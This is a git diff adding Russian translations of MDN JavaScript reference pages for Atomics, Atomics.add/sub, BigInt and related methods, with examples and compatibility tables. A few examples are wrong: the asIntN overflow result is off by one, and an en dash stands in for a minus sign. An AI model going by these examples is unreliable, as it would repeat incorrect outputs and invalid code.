+ <dd>Возвращает "AsyncFunction".</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-constructor-prototype', 'AsyncFunction.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.AsyncFunction.prototype")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("AsyncFunction")}}</li>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/atomics/add/index.html b/files/ru/web/javascript/reference/global_objects/atomics/add/index.html
new file mode 100644
index 0000000000..a426517362
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/atomics/add/index.html
@@ -0,0 +1,126 @@
+---
+title: Atomics.add()
+slug: Web/JavaScript/Reference/Global_Objects/Atomics/add
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/add
+---
+<div>{{JSRef}}</div>
+
+<p>Статический метод <code><strong>Atomics</strong></code><strong><code>.add()</code></strong> добавляет значение к текущему по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная опреация гарантирует, что никакой другой записи не произойдет, пока измененное значение не будет записано обратно.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Atomics.add(typedArray, index, value)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Разделенный массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>Позиция в <code>typedArray</code> для добавления <code>value</code>.</dd>
+ <dt><code>value</code></dt>
+ <dd>Число для добавления.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Предыдущее значение в указанной позиции (<code>typedArray[index]</code>).</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>Выбрасывает {{jsxref("TypeError")}}, если тип <code>typedArray</code> не является одним из допустимых тцелочисленных типов.</li>
+ <li>Выбрасывает {{jsxref("TypeError")}}, если тип <code>typedArray</code> не общего типа.</li>
+ <li>Выбрасывает {{jsxref("RangeError")}}, если <code>index</code> вне <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+
+Atomics.add(ta, 0, 12); // возвращает 0, предыдущее значение
+Atomics.load(ta, 0); // 12</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.add', 'Atomics.add')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("55")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("55")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Firefox version 46 until version 54, this feature is disabled by a preference setting. In about:config, set <code>javascript.options.shared_memory</code> to <code>true</code>. </p>
+
+<p>[2] The implementation is under development and needs these runtime flags: <code>--js-flags=--harmony-sharedarraybuffer --enable-blink-feature=SharedArrayBuffer</code></p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.sub()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/atomics/index.html b/files/ru/web/javascript/reference/global_objects/atomics/index.html
new file mode 100644
index 0000000000..8ac33321f2
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/atomics/index.html
@@ -0,0 +1,168 @@
+---
+title: Atomics
+slug: Web/JavaScript/Reference/Global_Objects/Atomics
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics
+---
+<div>{{JSRef}}</div>
+
+<div>Объект <strong><code>Atomics</code></strong> предоставляет атомарные операции как статические методы. Используется вместе с объектом {{jsxref("SharedArrayBuffer")}}. </div>
+
+<div> </div>
+
+<p>Атомарные операции установлены в модуле <code>Atomics</code>. В отличие от других глобальных объектов, <code>Atomics</code> не является конструктором. Его нельзя использовать вместе с оператором <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code></a> или вызывать объект <code>Atomics</code> как функцию. Все свойства и методы <code>Atomics</code> статические (как у объекта {{jsxref("Math")}}, к примеру).</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>Atomics[Symbol.toStringTag]</code></dt>
+ <dd>Значение этого свойства - "Atomics".</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<h3 id="Атомарные_операции">Атомарные операции</h3>
+
+<p>Когда память разделена, несколько потоков могут читать и записывать одни и те же данные в память. Атомарные операции гарантируют, что ожидаемые значения будут записаны и прочитаны, а операции завершены, прежде чем следующая операция начнет свою работу, и они не будут прерваны.</p>
+
+<dl>
+ <dt>{{jsxref("Atomics.add()")}}</dt>
+ <dd>Добавляет представленное значение к текущему по указанной позиции в массиве. Возвращает предыдущее значение в этой позиции.</dd>
+ <dt>{{jsxref("Atomics.and()")}}</dt>
+ <dd>Вычисляет побитовое AND в указанной позиции массива. Возвращает предыдущее значение в этой позиции.</dd>
+ <dt>{{jsxref("Atomics.compareExchange()")}}</dt>
+ <dd>Сохраняет представленное значение в указанную позицию массива, если оно эквивалентно представленному значению. Возвращает предыдущее значение.</dd>
+ <dt>{{jsxref("Atomics.exchange()")}}</dt>
+ <dd>Сохраняет представленное значение в указанную позицию массива. Возвращает предыдущее значение.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Atomics.load()")}}</dt>
+ <dd>Возвращает значение из указаной позиции массива.</dd>
+ <dt>{{jsxref("Atomics.or()")}}</dt>
+ <dd>Вычисляет побитовое OR в указанной позиции массивая. Возвращает предыдущее значение в этой позиции.</dd>
+ <dt>{{jsxref("Atomics.store()")}}</dt>
+ <dd>Сохраняет представленное значение в указанную позицию массива. Возвращает значение.</dd>
+ <dt>{{jsxref("Atomics.sub()")}}</dt>
+ <dd>Вычитает представленное значение из текущего по указанной позиции в массиве. Возвращает предыдущее значение в этой позиции.</dd>
+ <dt>{{jsxref("Atomics.xor()")}}</dt>
+ <dd>Вычисляет побитовое XOR в указанной позиции массива. Возвращает предыдущее значение в этой позиции.</dd>
+</dl>
+
+<h3 id="Wait_и_notify">Wait и notify</h3>
+
+<p><code>wait()</code> и <code>wake()</code> методы моделируются на основе futexes ("fast user-space mutex" - быстрый мьютекс пользовательского пространства) Linux и предоставляют собой способы ожидания момента, когда определенное состояние не станет true, и обычно используется как блокирующие конструкции.</p>
+
+<dl>
+ <dt>{{jsxref("Atomics.wait()")}}</dt>
+ <dd>
+ <p>Проверяет, содержится в указанной позиции массива все еще представленное значение и спит в ожидании или тайм-аут. Возвращает <code>"ok"</code>, <code>"not-equal" </code>или <code>"timed-out"</code>. Если ожидание не разрешено в вызывающем агенете, тогда выбросит ошибку исключения (большинство браузеров не разрешают <code>wait()</code> в главном потоке барузера).</p>
+ </dd>
+ <dt>{{jsxref("Atomics.wake()")}}</dt>
+ <dd>Пробуждает некоторых агентов, которые спят в очереди ожидания в указанной позиции массива. Возвращает количество агентов, которые были разбужены.</dd>
+ <dt>{{jsxref("Atomics.isLockFree()", "Atomics.isLockFree(size)")}}</dt>
+ <dd>
+ <p>Оптимизационный примитив, который может быть использован для определения использовать ли блокирующие операции или атомарные. Возвращает <code>true</code>, если атомарные операции над массивaми с указанным размерами элеменатов будут выполнены с использованием аппаратных атомарных опреаций (как противоположность блокирующим). Только для специалистов.</p>
+ </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics-object', 'Atomics')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-atomics-object', 'Atomics')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatGeckoDesktop("55")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("55")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Firefox version 46 until version 54, this feature is disabled by a preference setting. In about:config, set <code>javascript.options.shared_memory</code> to <code>true</code>. </p>
+
+<p>[2] The implementation is under development and needs these runtime flags: <code>--js-flags=--harmony-sharedarraybuffer --enable-blink-feature=SharedArrayBuffer</code></p>
+
+<h2 id="Похожие_заметки">Похожие заметки</h2>
+
+<p>До SpiderMonkey 48 {{geckoRelease(48)}}, финальные имена API и сематика не были еще реализованы. Изменения между Firefox v. 46 и v. 48:</p>
+
+<ul>
+ <li>Методы <code>Atomics.futexWakeOrRequeue()</code> и <code>Atomics.fence()</code> полностью удалены ({{bug(1259544)}} и {{bug(1225028)}}).</li>
+ <li>Методы {{jsxref("Atomics.wait()")}} и {{jsxref("Atomics.wake()")}} были назвны <code>Atomics.futexWait()</code> и <code>Atomics.futexWake()</code> ({{bug(1260910)}}). Заметка: старые имена были удалены в версии 49 и младше ({{bug(1262062)}}).</li>
+ <li>Свойства <code>Atomics.OK</code>, <code>Atomics.TIMEDOUT</code>, <code>Atomics.NOTEQUAL</code> были удалены. {{jsxref("Atomics.wait()")}} метод теперь возвращает строки "ok", "timed-out" и "not-equal" ({{bug(1260835)}}).</li>
+ <li>
+  <p>Параметр <code>count</code> метода {{jsxref("Atomics.wake()")}} изменился: теперь он по умолчанию равен <code>+Infinity</code>, а не <code>0</code> ({{bug(1253350)}}).</p>
+ </li>
+</ul>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="https://github.com/lars-t-hansen/parlib-simple">parlib-simple </a>– a simple library providing synchronization and work distribution abstractions.</li>
+ <li><a href="https://github.com/tc39/ecmascript_sharedmem/blob/master/TUTORIAL.md">Shared Memory – a brief tutorial</a></li>
+ <li><a href="https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/">A Taste of JavaScript’s New Parallel Primitives – Mozilla Hacks</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html b/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html
new file mode 100644
index 0000000000..6535d885e5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html
@@ -0,0 +1,128 @@
+---
+title: Atomics.sub()
+slug: Web/JavaScript/Reference/Global_Objects/Atomics/sub
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub
+---
+<div>{{JSRef}}</div>
+
+<p>Статический метод <code><strong>Atomics</strong></code><strong><code>.sub()</code></strong> вычитает представленное значение из текущего по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная опреация гарантирует, что никакой другой записи не произойдет, пока измененное значение не будет записано обратно.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Atomics.sub(typedArray, index, value)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>typedArray</code></dt>
+ <dd>Разделенный массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.</dd>
+ <dt><code>index</code></dt>
+ <dd>Позиция в <code>typedArray</code> для добавления <code>value</code>.</dd>
+ <dt><code>value</code></dt>
+ <dd>Число для вычитания.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Предыдущее значение в указанной позиции (<code>typedArray[index]</code>).</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>Выбрасывает {{jsxref("TypeError")}},  если тип <code>typedArray</code> не является одним из допустимых тцелочисленных типов.</li>
+ <li>Выбрасывает {{jsxref("TypeError")}}, если тип <code>typedArray</code> не общего типа.</li>
+ <li>Выбрасывает {{jsxref("RangeError")}}, если <code>index</code> вне <code>typedArray</code>.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+ta[0] = 48;
+
+Atomics.sub(ta, 0, 12); // возвращает 48, предыдущее значение
+Atomics.load(ta, 0); // 36
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-atomics.sub', 'Atomics.sub')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("55")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("55")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Firefox version 46 until version 54, this feature is disabled by a preference setting. In about:config, set <code>javascript.options.shared_memory</code> to <code>true</code>. </p>
+
+<p>[2] The implementation is under development and needs these runtime flags: <code>--js-flags=--harmony-sharedarraybuffer --enable-blink-feature=SharedArrayBuffer</code></p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("Atomics.add()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/bigint/asintn/index.html b/files/ru/web/javascript/reference/global_objects/bigint/asintn/index.html
new file mode 100644
index 0000000000..67f371ecf6
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/bigint/asintn/index.html
@@ -0,0 +1,79 @@
+---
+title: BigInt.asIntN()
+slug: Web/JavaScript/Reference/Global_Objects/BigInt/asIntN
+tags:
+  - BigInt
+  - JavaScript
+  - Method
+  - Reference
+  - asIntN
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asIntN
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>BigInt.asIntN</code></strong> — это статический метод, который позволяет перенести BigInt-значение в целое число со знаком между  -2<sup>ширина-1</sup> and 2<sup>ширина-1</sup>-1.</p>
+
+<div>\{{EmbedInteractiveExample("pages/js/bigint-asintn.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">BigInt.asIntN(<var>width</var>, <var>bigint</var>);</pre>
+
+<h3 id="Аргументы">Аргументы</h3>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>Количество битов, доступных для целочисленного размера.</dd>
+ <dt><code>bigint</code></dt>
+ <dd>Целое число для зажима, чтобы соответствовать поставляемым битам.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Значение <code>bigint</code><span style="font-size: 13.3333px;"> </span>по модулю 2<code><sup>width</sup></code> как целое число со знаком.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пребывание_в_64-битных_диапазонах">Пребывание в 64-битных диапазонах</h3>
+
+<p>Метод  <code>BigInt.asIntN()</code> может быть полезен, чтобы оставаться в диапазоне 64-битной арифметики.</p>
+
+<pre class="brush: js">const max = 2n ** (64n - 1n) - 1n;
+
+BigInt.asIntN(64, max);
+// ↪ 9223372036854775807n
+
+BigInt.asIntN(64, max + 1n);
+// ↪ -9223372036854775807n
+// отрицательное число из-за переполнения
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-bigint.asintn">BigInt proposal</a></td>
+   <td>Stage 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+
+
+<p>{{Compat("javascript.builtins.BigInt.asIntN")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{JSxRef("BigInt")}}</li>
+ <li>{{JSxRef("BigInt.asUintN()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/bigint/asuintn/index.html b/files/ru/web/javascript/reference/global_objects/bigint/asuintn/index.html
new file mode 100644
index 0000000000..6f3c09ba56
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/bigint/asuintn/index.html
@@ -0,0 +1,72 @@
+---
+title: BigInt.asUintN()
+slug: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>BigInt.asUintN</code></strong> static method is used to wrap a BigInt value to an unsigned integer between 0 and 2<sup>width</sup>-1.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/bigint-asuintn.html", "taller")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">BigInt.asUintN(<var>width</var>, <var>bigint</var>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code><var>width</var></code></dt>
+ <dd>The amount of bits available for the integer size.</dd>
+ <dt><code><var>bigint</var></code></dt>
+ <dd>The integer to clamp to fit into the supplied bits.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>The value of <code><var>bigint</var></code> modulo 2<sup><code><var>width</var></code></sup> as an unsigned integer.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Staying_in_64-bit_ranges">Staying in 64-bit ranges</h3>
+
+<p>The <code>BigInt.asUintN()</code> method can be useful to stay in the range of 64-bit arithmetic.</p>
+
+<pre class="brush: js notranslate">const max = 2n ** 64n - 1n;
+
+BigInt.asUintN(64, max);
+// ↪ 18446744073709551615n
+
+BigInt.asUintN(64, max + 1n);
+// ↪ 0n
+// zero because of overflow</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-bigint.asuintn', 'BigInt.asUintN()')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.BigInt.asUintN")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{JSxRef("BigInt")}}</li>
+ <li>{{JSxRef("BigInt.asIntN()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/bigint/index.html b/files/ru/web/javascript/reference/global_objects/bigint/index.html
new file mode 100644
index 0000000000..9760700391
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/bigint/index.html
@@ -0,0 +1,294 @@
+---
+title: BigInt
+slug: Web/JavaScript/Reference/Global_Objects/BigInt
+tags:
+  - BigInt
+  - JavaScript
+  - методы BigInt
+  - свойства BigInt
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt
+---
+<p>{{JSRef}}</p>
+
+<p><strong><code>BigInt</code></strong> это встроенный объект, который предоставляет способ представлять целые числа больше 2<sup>53</sup> - 1, наибольшего числа, которое JavaScript может надежно представить с {{JSxRef("Number")}} примитивом. Это максимальное значение можно получить, обратившись к {{JSxRef("Number.MAX_SAFE_INTEGER")}}.</p>
+
+<dl>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>BigInt</code> создается путем добавления <code>n</code> в конец целочисленного литерала — <code>10n</code> — или вызовом функции <code>BigInt()</code>.</p>
+
+<pre class="brush: js">const theBiggestInt = 9007199254740991n;
+
+const alsoHuge = BigInt(9007199254740991);
+// ↪ 9007199254740991n
+
+const hugeString = BigInt("9007199254740991");
+// ↪ 9007199254740991n
+
+const hugeHex = BigInt("0x1fffffffffffff");
+// ↪ 9007199254740991n
+
+const hugeBin = BigInt("0b11111111111111111111111111111111111111111111111111111");
+// ↪ 9007199254740991n
+</pre>
+
+<p>В некотором смысле он похож на {{JSxRef ("Number")}}, но отличается в некоторых ключевых моментах — его нельзя использовать с методами во встроенном объекте {{JSxRef ("Math")}} и нельзя смешивать в операциях с любыми экземплярами Number.</p>
+
+<div class="blockIndicator warning">
+<p>{{JSxRef("Number")}} и <code>BigInt</code> нельзя смешивать в операциях — они должны быть приведены к тому же типу.</p>
+
+<p>Будте осторожны приводя значения туда и обратно,  так как точность BigInt может быть потеряна при приведении к числу (<code>Number)</code>.</p>
+</div>
+
+<h3 id="Тип">Тип</h3>
+
+<p>При проверке с использованием оператора <code>typeof</code>, <code>BigInt</code> выдает тип <code>"bigint"</code>:</p>
+
+<pre class="brush: js">typeof 1n === 'bigint'; // true
+typeof BigInt('1') === 'bigint'; // true
+</pre>
+
+<p>При оборачивании в объект, BigInt будет представлен как обычный объект:</p>
+
+<pre class="brush: js">typeof Object(1n) === 'object'; // true
+</pre>
+
+<h3 id="Операторы">Операторы</h3>
+
+<p>Следующие операторы могут использоваться с <code>BigInt</code> (или объектом-оберткой <code>BigInt</code>): <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, <code>%</code>.</p>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Побитовые операции</a> также поддерживаются, кроме <code>&gt;&gt;&gt;</code> (сдвиг вправо с заполнением нулями).</p>
+
+<p>Не поддерживаемый унарный оператор (<code>+</code>) <a href="https://github.com/tc39/proposal-bigint/blob/master/ADVANCED.md#dont-break-asmjs">больше не ломает asm.js</a>.</p>
+
+<pre class="brush: js">const previousMaxSafe = BigInt(Number.MAX_SAFE_INTEGER);
+// ↪ 9007199254740991n
+
+const maxPlusOne = previousMaxSafe + 1n;
+// ↪ 9007199254740992n
+
+const theFuture = previousMaxSafe + 2n;
+// ↪ 9007199254740993n, это работает!
+
+const multi = previousMaxSafe * 2n;
+// ↪ 18014398509481982n
+
+const subtr = multi – 10n;
+// ↪ 18014398509481972n
+
+const mod = multi % 10n;
+// ↪ 2n
+
+const bigN = 2n ** 54n;
+// ↪ 18014398509481984n
+
+bigN * -1n
+// ↪ –18014398509481984n
+</pre>
+
+<p>Оператор <code>/</code> также работает, как и ожидалось, с целыми числами. Однако, поскольку это BigInt, эта операция будет округляться в меньшую сторону, то есть она не будет возвращать какие-либо дробные цифры.</p>
+
+<div class="blockIndicator warning">
+<p>Результат операции с дробным результатом будет округлен в <strong><u>меньшую</u></strong> сторону при использовании  <code>BigInt</code>.</p>
+</div>
+
+<pre class="brush: js">const expected = 4n / 2n;
+// ↪ 2n
+
+const rounded = 5n / 2n;
+// ↪ 2n, not 2.5n
+
+</pre>
+
+<h3 id="Сравнения">Сравнения</h3>
+
+<p><code>BigInt</code> равен {{JSxRef ("Number")}} только при нестрогом сравнении.</p>
+
+<pre class="brush: js">0n === 0
+// ↪ false
+
+0n == 0
+// ↪ true</pre>
+
+<p>{{JSxRef("Global_Objects/Number", "Обычные числа")}} и <code>BigInt</code> можно сравнивать как обычно.</p>
+
+<pre class="brush: js">1n &lt; 2
+// ↪ true
+
+2n &gt; 1
+// ↪ true
+
+2 &gt; 2
+// ↪ false
+
+2n &gt; 2
+// ↪ false
+
+2n &gt;= 2
+// ↪ true</pre>
+
+<p>Они могут быть смешаны в массивах и отсортированы:</p>
+
+<pre class="brush: js">const mixed = [4n, 6, -12n, 10, 4, 0, 0n];
+// ↪  [4n, 6, -12n, 10, 4, 0, 0n]
+
+mixed.sort();
+// ↪ [-12n, 0, 0n, 10, 4n, 4, 6]
+</pre>
+
+<p>Обратите внимание, что сравнения с <code>обьектом</code>-оберткой <code>BigInt</code> действуют как с другими объектами, указывая на равенство только когда сравинивается идентичный экземпляр объекта:</p>
+
+<pre class="brush: js">0n === Object(0n); // false
+Object(0n) === Object(0n); // false
+
+const o = Object(0n);
+o === o // true
+</pre>
+
+<h3 id="Условные_выражения">Условные выражения</h3>
+
+<p><code>BigInt</code> ведёт себя как {{JSxRef("Global_Objects/Number", "обычное число")}} в следующих случаях:</p>
+
+<ul>
+ <li>Преобразуется в {{JSxRef("Global_Objects/Boolean", "Boolean")}} через функцию {{JSxRef("Global_Objects/Boolean", "Boolean")}}</li>
+ <li>Используется с логическими операторами {{JSxRef("Operators/Logical_Operators", "Logical Operators")}} <code>||</code>, <code>&amp;&amp;</code> и <code>!</code></li>
+ <li>В условном тесте, таком как {{JSxRef("Statements/if...else", "if statement")}}.</li>
+</ul>
+
+<pre class="brush: js">if (0n) {
+  console.log('Привет из if!');
+} else {
+  console.log('Привет из else!');
+}
+
+// ↪ "Привет из else!"
+
+0n || 12n
+// ↪ 12n
+
+0n &amp;&amp; 12n
+// ↪ 0n
+
+Boolean(0n)
+// ↪ false
+
